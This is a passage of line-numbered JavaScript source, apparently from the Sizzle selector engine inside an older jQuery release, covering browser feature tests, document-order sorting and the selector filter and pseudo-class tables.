  3965. newSelector = nodeType === 9 && selector;
  3966.  
  3967. // qSA works strangely on Element-rooted queries
  3968. // We can work around this by specifying an extra ID on the root
  3969. // and working up from there (Thanks to Andrew Dupont for the technique)
  3970. // IE 8 doesn't work on object elements
  3971. if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
  3972. groups = tokenize( selector );
  3973.  
  3974. if ( (old = context.getAttribute("id")) ) {
  3975. nid = old.replace( rescape, "\\$&" );
  3976. } else {
  3977. context.setAttribute( "id", nid );
  3978. }
  3979. nid = "[id='" + nid + "'] ";
  3980.  
  3981. i = groups.length;
  3982. while ( i-- ) {
  3983. groups[i] = nid + toSelector( groups[i] );
  3984. }
  3985. newContext = rsibling.test( selector ) && context.parentNode || context;
  3986. newSelector = groups.join(",");
  3987. }
  3988.  
  3989. if ( newSelector ) {
  3990. try {
  3991. push.apply( results, slice.call( newContext.querySelectorAll(
  3992. newSelector
  3993. ), 0 ) );
  3994. return results;
  3995. } catch(qsaError) {
  3996. } finally {
  3997. if ( !old ) {
  3998. context.removeAttribute("id");
  3999. }
  4000. }
  4001. }
  4002. }
  4003. }
  4004.  
  4005. // All others
  4006. return select( selector.replace( rtrim, "$1" ), context, results, seed );
  4007. }
  4008.  
  4009. /**
  4010. * Detect xml
  4011. * @param {Element|Object} elem An element or a document
  4012. */
  4013. isXML = Sizzle.isXML = function( elem ) {
  4014. // documentElement is verified for cases where it doesn't yet exist
  4015. // (such as loading iframes in IE - #4833)
  4016. var documentElement = elem && (elem.ownerDocument || elem).documentElement;
  4017. return documentElement ? documentElement.nodeName !== "HTML" : false;
  4018. };
  4019.  
  4020. /**
  4021. * Sets document-related variables once based on the current document
  4022. * @param {Element|Object} [doc] An element or document object to use to set the document
  4023. * @returns {Object} Returns the current document
  4024. */
  4025. setDocument = Sizzle.setDocument = function( node ) {
  4026. var doc = node ? node.ownerDocument || node : preferredDoc;
  4027.  
  4028. // If no document and documentElement is available, return
  4029. if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
  4030. return document;
  4031. }
  4032.  
  4033. // Set our document
  4034. document = doc;
  4035. docElem = doc.documentElement;
  4036.  
  4037. // Support tests
  4038. documentIsXML = isXML( doc );
  4039.  
  4040. // Check if getElementsByTagName("*") returns only elements
  4041. support.tagNameNoComments = assert(function( div ) {
  4042. div.appendChild( doc.createComment("") );
  4043. return !div.getElementsByTagName("*").length;
  4044. });
  4045.  
  4046. // Check if attributes should be retrieved by attribute nodes
  4047. support.attributes = assert(function( div ) {
  4048. div.innerHTML = "<select></select>";
  4049. var type = typeof div.lastChild.getAttribute("multiple");
  4050. // IE8 returns a string for some attributes even when not present
  4051. return type !== "boolean" && type !== "string";
  4052. });
  4053.  
  4054. // Check if getElementsByClassName can be trusted
  4055. support.getByClassName = assert(function( div ) {
  4056. // Opera can't find a second classname (in 9.6)
  4057. div.innerHTML = "<div class='hidden e'></div><div class='hidden'></div>";
  4058. if ( !div.getElementsByClassName || !div.getElementsByClassName("e").length ) {
  4059. return false;
  4060. }
  4061.  
  4062. // Safari 3.2 caches class attributes and doesn't catch changes
  4063. div.lastChild.className = "e";
  4064. return div.getElementsByClassName("e").length === 2;
  4065. });
  4066.  
  4067. // Check if getElementById returns elements by name
  4068. // Check if getElementsByName privileges form controls or returns elements by ID
  4069. support.getByName = assert(function( div ) {
  4070. // Inject content
  4071. div.id = expando + 0;
  4072. div.innerHTML = "<a name='" + expando + "'></a><div name='" + expando + "'></div>";
  4073. docElem.insertBefore( div, docElem.firstChild );
  4074.  
  4075. // Test
  4076. var pass = doc.getElementsByName &&
  4077. // buggy browsers will return fewer than the correct 2
  4078. doc.getElementsByName( expando ).length === 2 +
  4079. // buggy browsers will return more than the correct 0
  4080. doc.getElementsByName( expando + 0 ).length;
  4081. support.getIdNotName = !doc.getElementById( expando );
  4082.  
  4083. // Cleanup
  4084. docElem.removeChild( div );
  4085.  
  4086. return pass;
  4087. });
  4088.  
  4089. // IE6/7 return modified attributes
  4090. Expr.attrHandle = assert(function( div ) {
  4091. div.innerHTML = "<a href='#'></a>";
  4092. return div.firstChild && typeof div.firstChild.getAttribute !== strundefined &&
  4093. div.firstChild.getAttribute("href") === "#";
  4094. }) ?
  4095. {} :
  4096. {
  4097. "href": function( elem ) {
  4098. return elem.getAttribute( "href", 2 );
  4099. },
  4100. "type": function( elem ) {
  4101. return elem.getAttribute("type");
  4102. }
  4103. };
  4104.  
  4105. // ID find and filter
  4106. if ( support.getIdNotName ) {
  4107. Expr.find["ID"] = function( id, context ) {
  4108. if ( typeof context.getElementById !== strundefined && !documentIsXML ) {
  4109. var m = context.getElementById( id );
  4110. // Check parentNode to catch when Blackberry 4.6 returns
  4111. // nodes that are no longer in the document #6963
  4112. return m && m.parentNode ? [m] : [];
  4113. }
  4114. };
  4115. Expr.filter["ID"] = function( id ) {
  4116. var attrId = id.replace( runescape, funescape );
  4117. return function( elem ) {
  4118. return elem.getAttribute("id") === attrId;
  4119. };
  4120. };
  4121. } else {
  4122. Expr.find["ID"] = function( id, context ) {
  4123. if ( typeof context.getElementById !== strundefined && !documentIsXML ) {
  4124. var m = context.getElementById( id );
  4125.  
  4126. return m ?
  4127. m.id === id || typeof m.getAttributeNode !== strundefined && m.getAttributeNode("id").value === id ?
  4128. [m] :
  4129. undefined :
  4130. [];
  4131. }
  4132. };
  4133. Expr.filter["ID"] = function( id ) {
  4134. var attrId = id.replace( runescape, funescape );
  4135. return function( elem ) {
  4136. var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
  4137. return node && node.value === attrId;
  4138. };
  4139. };
  4140. }
  4141.  
  4142. // Tag
  4143. Expr.find["TAG"] = support.tagNameNoComments ?
  4144. function( tag, context ) {
  4145. if ( typeof context.getElementsByTagName !== strundefined ) {
  4146. return context.getElementsByTagName( tag );
  4147. }
  4148. } :
  4149. function( tag, context ) {
  4150. var elem,
  4151. tmp = [],
  4152. i = 0,
  4153. results = context.getElementsByTagName( tag );
  4154.  
  4155. // Filter out possible comments
  4156. if ( tag === "*" ) {
  4157. while ( (elem = results[i++]) ) {
  4158. if ( elem.nodeType === 1 ) {
  4159. tmp.push( elem );
  4160. }
  4161. }
  4162.  
  4163. return tmp;
  4164. }
  4165. return results;
  4166. };
  4167.  
  4168. // Name
  4169. Expr.find["NAME"] = support.getByName && function( tag, context ) {
  4170. if ( typeof context.getElementsByName !== strundefined ) {
  4171. return context.getElementsByName( name );
  4172. }
  4173. };
  4174.  
  4175. // Class
  4176. Expr.find["CLASS"] = support.getByClassName && function( className, context ) {
  4177. if ( typeof context.getElementsByClassName !== strundefined && !documentIsXML ) {
  4178. return context.getElementsByClassName( className );
  4179. }
  4180. };
  4181.  
  4182. // QSA and matchesSelector support
  4183.  
  4184. // matchesSelector(:active) reports false when true (IE9/Opera 11.5)
  4185. rbuggyMatches = [];
  4186.  
  4187. // qSa(:focus) reports false when true (Chrome 21),
  4188. // no need to also add to buggyMatches since matches checks buggyQSA
  4189. // A support test would require too much code (would include document ready)
  4190. rbuggyQSA = [ ":focus" ];
  4191.  
  4192. if ( (support.qsa = isNative(doc.querySelectorAll)) ) {
  4193. // Build QSA regex
  4194. // Regex strategy adopted from Diego Perini
  4195. assert(function( div ) {
  4196. // Select is set to empty string on purpose
  4197. // This is to test IE's treatment of not explictly
  4198. // setting a boolean content attribute,
  4199. // since its presence should be enough
  4200. // http://bugs.jquery.com/ticket/12359
  4201. div.innerHTML = "<select><option selected=''></option></select>";
  4202.  
  4203. // IE8 - Some boolean attributes are not treated correctly
  4204. if ( !div.querySelectorAll("[selected]").length ) {
  4205. rbuggyQSA.push( "\\[" + whitespace + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)" );
  4206. }
  4207.  
  4208. // Webkit/Opera - :checked should return selected option elements
  4209. // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
  4210. // IE8 throws error here and will not see later tests
  4211. if ( !div.querySelectorAll(":checked").length ) {
  4212. rbuggyQSA.push(":checked");
  4213. }
  4214. });
  4215.  
  4216. assert(function( div ) {
  4217.  
  4218. // Opera 10-12/IE8 - ^= $= *= and empty values
  4219. // Should not select anything
  4220. div.innerHTML = "<input type='hidden' i=''/>";
  4221. if ( div.querySelectorAll("[i^='']").length ) {
  4222. rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:\"\"|'')" );
  4223. }
  4224.  
  4225. // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
  4226. // IE8 throws error here and will not see later tests
  4227. if ( !div.querySelectorAll(":enabled").length ) {
  4228. rbuggyQSA.push( ":enabled", ":disabled" );
  4229. }
  4230.  
  4231. // Opera 10-11 does not throw on post-comma invalid pseudos
  4232. div.querySelectorAll("*,:x");
  4233. rbuggyQSA.push(",.*:");
  4234. });
  4235. }
  4236.  
  4237. if ( (support.matchesSelector = isNative( (matches = docElem.matchesSelector ||
  4238. docElem.mozMatchesSelector ||
  4239. docElem.webkitMatchesSelector ||
  4240. docElem.oMatchesSelector ||
  4241. docElem.msMatchesSelector) )) ) {
  4242.  
  4243. assert(function( div ) {
  4244. // Check to see if it's possible to do matchesSelector
  4245. // on a disconnected node (IE 9)
  4246. support.disconnectedMatch = matches.call( div, "div" );
  4247.  
  4248. // This should fail with an exception
  4249. // Gecko does not error, returns false instead
  4250. matches.call( div, "[s!='']:x" );
  4251. rbuggyMatches.push( "!=", pseudos );
  4252. });
  4253. }
  4254.  
  4255. rbuggyQSA = new RegExp( rbuggyQSA.join("|") );
  4256. rbuggyMatches = new RegExp( rbuggyMatches.join("|") );
  4257.  
  4258. // Element contains another
  4259. // Purposefully does not implement inclusive descendent
  4260. // As in, an element does not contain itself
  4261. contains = isNative(docElem.contains) || docElem.compareDocumentPosition ?
  4262. function( a, b ) {
  4263. var adown = a.nodeType === 9 ? a.documentElement : a,
  4264. bup = b && b.parentNode;
  4265. return a === bup || !!( bup && bup.nodeType === 1 && (
  4266. adown.contains ?
  4267. adown.contains( bup ) :
  4268. a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
  4269. ));
  4270. } :
  4271. function( a, b ) {
  4272. if ( b ) {
  4273. while ( (b = b.parentNode) ) {
  4274. if ( b === a ) {
  4275. return true;
  4276. }
  4277. }
  4278. }
  4279. return false;
  4280. };
  4281.  
  4282. // Document order sorting
  4283. sortOrder = docElem.compareDocumentPosition ?
  4284. function( a, b ) {
  4285. var compare;
  4286.  
  4287. if ( a === b ) {
  4288. hasDuplicate = true;
  4289. return 0;
  4290. }
  4291.  
  4292. if ( (compare = b.compareDocumentPosition && a.compareDocumentPosition && a.compareDocumentPosition( b )) ) {
  4293. if ( compare & 1 || a.parentNode && a.parentNode.nodeType === 11 ) {
  4294. if ( a === doc || contains( preferredDoc, a ) ) {
  4295. return -1;
  4296. }
  4297. if ( b === doc || contains( preferredDoc, b ) ) {
  4298. return 1;
  4299. }
  4300. return 0;
  4301. }
  4302. return compare & 4 ? -1 : 1;
  4303. }
  4304.  
  4305. return a.compareDocumentPosition ? -1 : 1;
  4306. } :
  4307. function( a, b ) {
  4308. var cur,
  4309. i = 0,
  4310. aup = a.parentNode,
  4311. bup = b.parentNode,
  4312. ap = [ a ],
  4313. bp = [ b ];
  4314.  
  4315. // Exit early if the nodes are identical
  4316. if ( a === b ) {
  4317. hasDuplicate = true;
  4318. return 0;
  4319.  
  4320. // Parentless nodes are either documents or disconnected
  4321. } else if ( !aup || !bup ) {
  4322. return a === doc ? -1 :
  4323. b === doc ? 1 :
  4324. aup ? -1 :
  4325. bup ? 1 :
  4326. 0;
  4327.  
  4328. // If the nodes are siblings, we can do a quick check
  4329. } else if ( aup === bup ) {
  4330. return siblingCheck( a, b );
  4331. }
  4332.  
  4333. // Otherwise we need full lists of their ancestors for comparison
  4334. cur = a;
  4335. while ( (cur = cur.parentNode) ) {
  4336. ap.unshift( cur );
  4337. }
  4338. cur = b;
  4339. while ( (cur = cur.parentNode) ) {
  4340. bp.unshift( cur );
  4341. }
  4342.  
  4343. // Walk down the tree looking for a discrepancy
  4344. while ( ap[i] === bp[i] ) {
  4345. i++;
  4346. }
  4347.  
  4348. return i ?
  4349. // Do a sibling check if the nodes have a common ancestor
  4350. siblingCheck( ap[i], bp[i] ) :
  4351.  
  4352. // Otherwise nodes in our document sort first
  4353. ap[i] === preferredDoc ? -1 :
  4354. bp[i] === preferredDoc ? 1 :
  4355. 0;
  4356. };
  4357.  
  4358. // Always assume the presence of duplicates if sort doesn't
  4359. // pass them to our comparison function (as in Google Chrome).
  4360. hasDuplicate = false;
  4361. [0, 0].sort( sortOrder );
  4362. support.detectDuplicates = hasDuplicate;
  4363.  
  4364. return document;
  4365. };
  4366.  
  4367. Sizzle.matches = function( expr, elements ) {
  4368. return Sizzle( expr, null, null, elements );
  4369. };
  4370.  
  4371. Sizzle.matchesSelector = function( elem, expr ) {
  4372. // Set document vars if needed
  4373. if ( ( elem.ownerDocument || elem ) !== document ) {
  4374. setDocument( elem );
  4375. }
  4376.  
  4377. // Make sure that attribute selectors are quoted
  4378. expr = expr.replace( rattributeQuotes, "='$1']" );
  4379.  
  4380. // rbuggyQSA always contains :focus, so no need for an existence check
  4381. if ( support.matchesSelector && !documentIsXML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && !rbuggyQSA.test(expr) ) {
  4382. try {
  4383. var ret = matches.call( elem, expr );
  4384.  
  4385. // IE 9's matchesSelector returns false on disconnected nodes
  4386. if ( ret || support.disconnectedMatch ||
  4387. // As well, disconnected nodes are said to be in a document
  4388. // fragment in IE 9
  4389. elem.document && elem.document.nodeType !== 11 ) {
  4390. return ret;
  4391. }
  4392. } catch(e) {}
  4393. }
  4394.  
  4395. return Sizzle( expr, document, null, [elem] ).length > 0;
  4396. };
  4397.  
  4398. Sizzle.contains = function( context, elem ) {
  4399. // Set document vars if needed
  4400. if ( ( context.ownerDocument || context ) !== document ) {
  4401. setDocument( context );
  4402. }
  4403. return contains( context, elem );
  4404. };
  4405.  
  4406. Sizzle.attr = function( elem, name ) {
  4407. var val;
  4408.  
  4409. // Set document vars if needed
  4410. if ( ( elem.ownerDocument || elem ) !== document ) {
  4411. setDocument( elem );
  4412. }
  4413.  
  4414. if ( !documentIsXML ) {
  4415. name = name.toLowerCase();
  4416. }
  4417. if ( (val = Expr.attrHandle[ name ]) ) {
  4418. return val( elem );
  4419. }
  4420. if ( documentIsXML || support.attributes ) {
  4421. return elem.getAttribute( name );
  4422. }
  4423. return ( (val = elem.getAttributeNode( name )) || elem.getAttribute( name ) ) && elem[ name ] === true ?
  4424. name :
  4425. val && val.specified ? val.value : null;
  4426. };
  4427.  
  4428. Sizzle.error = function( msg ) {
  4429. throw new Error( "Syntax error, unrecognized expression: " + msg );
  4430. };
  4431.  
  4432. // Document sorting and removing duplicates
  4433. Sizzle.uniqueSort = function( results ) {
  4434. var elem,
  4435. duplicates = [],
  4436. i = 1,
  4437. j = 0;
  4438.  
  4439. // Unless we *know* we can detect duplicates, assume their presence
  4440. hasDuplicate = !support.detectDuplicates;
  4441. results.sort( sortOrder );
  4442.  
  4443. if ( hasDuplicate ) {
  4444. for ( ; (elem = results[i]); i++ ) {
  4445. if ( elem === results[ i - 1 ] ) {
  4446. j = duplicates.push( i );
  4447. }
  4448. }
  4449. while ( j-- ) {
  4450. results.splice( duplicates[ j ], 1 );
  4451. }
  4452. }
  4453.  
  4454. return results;
  4455. };
  4456.  
  4457. function siblingCheck( a, b ) {
  4458. var cur = b && a,
  4459. diff = cur && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceIndex || MAX_NEGATIVE );
  4460.  
  4461. // Use IE sourceIndex if available on both nodes
  4462. if ( diff ) {
  4463. return diff;
  4464. }
  4465.  
  4466. // Check if b follows a
  4467. if ( cur ) {
  4468. while ( (cur = cur.nextSibling) ) {
  4469. if ( cur === b ) {
  4470. return -1;
  4471. }
  4472. }
  4473. }
  4474.  
  4475. return a ? 1 : -1;
  4476. }
  4477.  
  4478. // Returns a function to use in pseudos for input types
  4479. function createInputPseudo( type ) {
  4480. return function( elem ) {
  4481. var name = elem.nodeName.toLowerCase();
  4482. return name === "input" && elem.type === type;
  4483. };
  4484. }
  4485.  
  4486. // Returns a function to use in pseudos for buttons
  4487. function createButtonPseudo( type ) {
  4488. return function( elem ) {
  4489. var name = elem.nodeName.toLowerCase();
  4490. return (name === "input" || name === "button") && elem.type === type;
  4491. };
  4492. }
  4493.  
  4494. // Returns a function to use in pseudos for positionals
  4495. function createPositionalPseudo( fn ) {
  4496. return markFunction(function( argument ) {
  4497. argument = +argument;
  4498. return markFunction(function( seed, matches ) {
  4499. var j,
  4500. matchIndexes = fn( [], seed.length, argument ),
  4501. i = matchIndexes.length;
  4502.  
  4503. // Match elements found at the specified indexes
  4504. while ( i-- ) {
  4505. if ( seed[ (j = matchIndexes[i]) ] ) {
  4506. seed[j] = !(matches[j] = seed[j]);
  4507. }
  4508. }
  4509. });
  4510. });
  4511. }
  4512.  
  4513. /**
  4514. * Utility function for retrieving the text value of an array of DOM nodes
  4515. * @param {Array|Element} elem
  4516. */
  4517. getText = Sizzle.getText = function( elem ) {
  4518. var node,
  4519. ret = "",
  4520. i = 0,
  4521. nodeType = elem.nodeType;
  4522.  
  4523. if ( !nodeType ) {
  4524. // If no nodeType, this is expected to be an array
  4525. for ( ; (node = elem[i]); i++ ) {
  4526. // Do not traverse comment nodes
  4527. ret += getText( node );
  4528. }
  4529. } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
  4530. // Use textContent for elements
  4531. // innerText usage removed for consistency of new lines (see #11153)
  4532. if ( typeof elem.textContent === "string" ) {
  4533. return elem.textContent;
  4534. } else {
  4535. // Traverse its children
  4536. for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
  4537. ret += getText( elem );
  4538. }
  4539. }
  4540. } else if ( nodeType === 3 || nodeType === 4 ) {
  4541. return elem.nodeValue;
  4542. }
  4543. // Do not include comment or processing instruction nodes
  4544.  
  4545. return ret;
  4546. };
  4547.  
  4548. Expr = Sizzle.selectors = {
  4549.  
  4550. // Can be adjusted by the user
  4551. cacheLength: 50,
  4552.  
  4553. createPseudo: markFunction,
  4554.  
  4555. match: matchExpr,
  4556.  
  4557. find: {},
  4558.  
  4559. relative: {
  4560. ">": { dir: "parentNode", first: true },
  4561. " ": { dir: "parentNode" },
  4562. "+": { dir: "previousSibling", first: true },
  4563. "~": { dir: "previousSibling" }
  4564. },
  4565.  
  4566. preFilter: {
  4567. "ATTR": function( match ) {
  4568. match[1] = match[1].replace( runescape, funescape );
  4569.  
  4570. // Move the given value to match[3] whether quoted or unquoted
  4571. match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape );
  4572.  
  4573. if ( match[2] === "~=" ) {
  4574. match[3] = " " + match[3] + " ";
  4575. }
  4576.  
  4577. return match.slice( 0, 4 );
  4578. },
  4579.  
  4580. "CHILD": function( match ) {
  4581. /* matches from matchExpr["CHILD"]
  4582. 1 type (only|nth|...)
  4583. 2 what (child|of-type)
  4584. 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
  4585. 4 xn-component of xn+y argument ([+-]?\d*n|)
  4586. 5 sign of xn-component
  4587. 6 x of xn-component
  4588. 7 sign of y-component
  4589. 8 y of y-component
  4590. */
  4591. match[1] = match[1].toLowerCase();
  4592.  
  4593. if ( match[1].slice( 0, 3 ) === "nth" ) {
  4594. // nth-* requires argument
  4595. if ( !match[3] ) {
  4596. Sizzle.error( match[0] );
  4597. }
  4598.  
  4599. // numeric x and y parameters for Expr.filter.CHILD
  4600. // remember that false/true cast respectively to 0/1
  4601. match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
  4602. match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
  4603.  
  4604. // other types prohibit arguments
  4605. } else if ( match[3] ) {
  4606. Sizzle.error( match[0] );
  4607. }
  4608.  
  4609. return match;
  4610. },
  4611.  
  4612. "PSEUDO": function( match ) {
  4613. var excess,
  4614. unquoted = !match[5] && match[2];
  4615.  
  4616. if ( matchExpr["CHILD"].test( match[0] ) ) {
  4617. return null;
  4618. }
  4619.  
  4620. // Accept quoted arguments as-is
  4621. if ( match[4] ) {
  4622. match[2] = match[4];
  4623.  
  4624. // Strip excess characters from unquoted arguments
  4625. } else if ( unquoted && rpseudo.test( unquoted ) &&
  4626. // Get excess from tokenize (recursively)
  4627. (excess = tokenize( unquoted, true )) &&
  4628. // advance to the next closing parenthesis
  4629. (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
  4630.  
  4631. // excess is a negative index
  4632. match[0] = match[0].slice( 0, excess );
  4633. match[2] = unquoted.slice( 0, excess );
  4634. }
  4635.  
  4636. // Return only captures needed by the pseudo filter method (type and argument)
  4637. return match.slice( 0, 3 );
  4638. }
  4639. },
  4640.  
  4641. filter: {
  4642.  
  4643. "TAG": function( nodeName ) {
  4644. if ( nodeName === "*" ) {
  4645. return function() { return true; };
  4646. }
  4647.  
  4648. nodeName = nodeName.replace( runescape, funescape ).toLowerCase();
  4649. return function( elem ) {
  4650. return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
  4651. };
  4652. },
  4653.  
  4654. "CLASS": function( className ) {
  4655. var pattern = classCache[ className + " " ];
  4656.  
  4657. return pattern ||
  4658. (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
  4659. classCache( className, function( elem ) {
  4660. return pattern.test( elem.className || (typeof elem.getAttribute !== strundefined && elem.getAttribute("class")) || "" );
  4661. });
  4662. },
  4663.  
  4664. "ATTR": function( name, operator, check ) {
  4665. return function( elem ) {
  4666. var result = Sizzle.attr( elem, name );
  4667.  
  4668. if ( result == null ) {
  4669. return operator === "!=";
  4670. }
  4671. if ( !operator ) {
  4672. return true;
  4673. }
  4674.  
  4675. result += "";
  4676.  
  4677. return operator === "=" ? result === check :
  4678. operator === "!=" ? result !== check :
  4679. operator === "^=" ? check && result.indexOf( check ) === 0 :
  4680. operator === "*=" ? check && result.indexOf( check ) > -1 :
  4681. operator === "$=" ? check && result.slice( -check.length ) === check :
  4682. operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
  4683. operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
  4684. false;
  4685. };
  4686. },
  4687.  
  4688. "CHILD": function( type, what, argument, first, last ) {
  4689. var simple = type.slice( 0, 3 ) !== "nth",
  4690. forward = type.slice( -4 ) !== "last",
  4691. ofType = what === "of-type";
  4692.  
  4693. return first === 1 && last === 0 ?
  4694.  
  4695. // Shortcut for :nth-*(n)
  4696. function( elem ) {
  4697. return !!elem.parentNode;
  4698. } :
  4699.  
  4700. function( elem, context, xml ) {
  4701. var cache, outerCache, node, diff, nodeIndex, start,
  4702. dir = simple !== forward ? "nextSibling" : "previousSibling",
  4703. parent = elem.parentNode,
  4704. name = ofType && elem.nodeName.toLowerCase(),
  4705. useCache = !xml && !ofType;
  4706.  
  4707. if ( parent ) {
  4708.  
  4709. // :(first|last|only)-(child|of-type)
  4710. if ( simple ) {
  4711. while ( dir ) {
  4712. node = elem;
  4713. while ( (node = node[ dir ]) ) {
  4714. if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
  4715. return false;
  4716. }
  4717. }
  4718. // Reverse direction for :only-* (if we haven't yet done so)
  4719. start = dir = type === "only" && !start && "nextSibling";
  4720. }
  4721. return true;
  4722. }
  4723.  
  4724. start = [ forward ? parent.firstChild : parent.lastChild ];
  4725.  
  4726. // non-xml :nth-child(...) stores cache data on `parent`
  4727. if ( forward && useCache ) {
  4728. // Seek `elem` from a previously-cached index
  4729. outerCache = parent[ expando ] || (parent[ expando ] = {});
  4730. cache = outerCache[ type ] || [];
  4731. nodeIndex = cache[0] === dirruns && cache[1];
  4732. diff = cache[0] === dirruns && cache[2];
  4733. node = nodeIndex && parent.childNodes[ nodeIndex ];
  4734.  
  4735. while ( (node = ++nodeIndex && node && node[ dir ] ||
  4736.  
  4737. // Fallback to seeking `elem` from the start
  4738. (diff = nodeIndex = 0) || start.pop()) ) {
  4739.  
  4740. // When found, cache indexes on `parent` and break
  4741. if ( node.nodeType === 1 && ++diff && node === elem ) {
  4742. outerCache[ type ] = [ dirruns, nodeIndex, diff ];
  4743. break;
  4744. }
  4745. }
  4746.  
  4747. // Use previously-cached element index if available
  4748. } else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
  4749. diff = cache[1];
  4750.  
  4751. // xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)
  4752. } else {
  4753. // Use the same loop as above to seek `elem` from the start
  4754. while ( (node = ++nodeIndex && node && node[ dir ] ||
  4755. (diff = nodeIndex = 0) || start.pop()) ) {
  4756.  
  4757. if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
  4758. // Cache the index of each encountered element
  4759. if ( useCache ) {
  4760. (node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
  4761. }
  4762.  
  4763. if ( node === elem ) {
  4764. break;
  4765. }
  4766. }
  4767. }
  4768. }
  4769.  
  4770. // Incorporate the offset, then check against cycle size
  4771. diff -= last;
  4772. return diff === first || ( diff % first === 0 && diff / first >= 0 );
  4773. }
  4774. };
  4775. },
  4776.  
  4777. "PSEUDO": function( pseudo, argument ) {
  4778. // pseudo-class names are case-insensitive
  4779. // http://www.w3.org/TR/selectors/#pseudo-classes
  4780. // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
  4781. // Remember that setFilters inherits from pseudos
  4782. var args,
  4783. fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
  4784. Sizzle.error( "unsupported pseudo: " + pseudo );
  4785.  
  4786. // The user may use createPseudo to indicate that
  4787. // arguments are needed to create the filter function
  4788. // just as Sizzle does
  4789. if ( fn[ expando ] ) {
  4790. return fn( argument );
  4791. }
  4792.  
  4793. // But maintain support for old signatures
  4794. if ( fn.length > 1 ) {
  4795. args = [ pseudo, pseudo, "", argument ];
  4796. return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
  4797. markFunction(function( seed, matches ) {
  4798. var idx,
  4799. matched = fn( seed, argument ),
  4800. i = matched.length;
  4801. while ( i-- ) {
  4802. idx = indexOf.call( seed, matched[i] );
  4803. seed[ idx ] = !( matches[ idx ] = matched[i] );
  4804. }
  4805. }) :
  4806. function( elem ) {
  4807. return fn( elem, 0, args );
  4808. };
  4809. }
  4810.  
  4811. return fn;
  4812. }
  4813. },
  4814.  
  4815. pseudos: {
  4816. // Potentially complex pseudos
  4817. "not": markFunction(function( selector ) {
  4818. // Trim the selector passed to compile
  4819. // to avoid treating leading and trailing
  4820. // spaces as combinators
  4821. var input = [],
  4822. results = [],
  4823. matcher = compile( selector.replace( rtrim, "$1" ) );
  4824.  
  4825. return matcher[ expando ] ?
  4826. markFunction(function( seed, matches, context, xml ) {
  4827. var elem,
  4828. unmatched = matcher( seed, null, xml, [] ),
  4829. i = seed.length;
  4830.  
  4831. // Match elements unmatched by `matcher`
  4832. while ( i-- ) {
  4833. if ( (elem = unmatched[i]) ) {
  4834. seed[i] = !(matches[i] = elem);
  4835. }
  4836. }
  4837. }) :
  4838. function( elem, context, xml ) {
  4839. input[0] = elem;
  4840. matcher( input, null, xml, results );
  4841. return !results.pop();
  4842. };
  4843. }),
  4844.  
  4845. "has": markFunction(function( selector ) {
  4846. return function( elem ) {
  4847. return Sizzle( selector, elem ).length > 0;
  4848. };
  4849. }),
  4850.  
  4851. "contains": markFunction(function( text ) {
  4852. return function( elem ) {
  4853. return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
  4854. };
  4855. }),
  4856.  
  4857. // "Whether an element is represented by a :lang() selector
  4858. // is based solely on the element's language value
  4859. // being equal to the identifier C,
  4860. // or beginning with the identifier C immediately followed by "-".
  4861. // The matching of C against the element's language value is performed case-insensitively.
  4862. // The identifier C does not have to be a valid language name."
  4863. // http://www.w3.org/TR/selectors/#lang-pseudo
  4864. "lang": markFunction( function( lang ) {
  4865. // lang value must be a valid identifider
  4866. if ( !ridentifier.test(lang || "") ) {
  4867. Sizzle.error( "unsupported lang: " + lang );
  4868. }
  4869. lang = lang.replace( runescape, funescape ).toLowerCase();
  4870. return function( elem ) {
  4871. var elemLang;
  4872. do {
  4873. if ( (elemLang = documentIsXML ?
  4874. elem.getAttribute("xml:lang") || elem.getAttribute("lang") :
  4875. elem.lang) ) {
  4876.  
  4877. elemLang = elemLang.toLowerCase();
  4878. return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
  4879. }
  4880. } while ( (elem = elem.parentNode) && elem.nodeType === 1 );
  4881. return false;
  4882. };
  4883. }),
  4884.  
  4885. // Miscellaneous
  4886. "target": function( elem ) {
  4887. var hash = window.location && window.location.hash;
  4888. return hash && hash.slice( 1 ) === elem.id;
  4889. },
  4890.  
  4891. "root": function( elem ) {
  4892. return elem === docElem;
  4893. },
  4894.  
  4895. "focus": function( elem ) {
  4896. return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
  4897. },
  4898.  
  4899. // Boolean properties
  4900. "enabled": function( elem ) {
  4901. return elem.disabled === false;
  4902. },
  4903.  
  4904. "disabled": function( elem ) {
  4905. return elem.disabled === true;
  4906. },
  4907.  
  4908. "checked": function( elem ) {
  4909. // In CSS3, :checked should return both checked and selected elements
  4910. // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
  4911. var nodeName = elem.nodeName.toLowerCase();
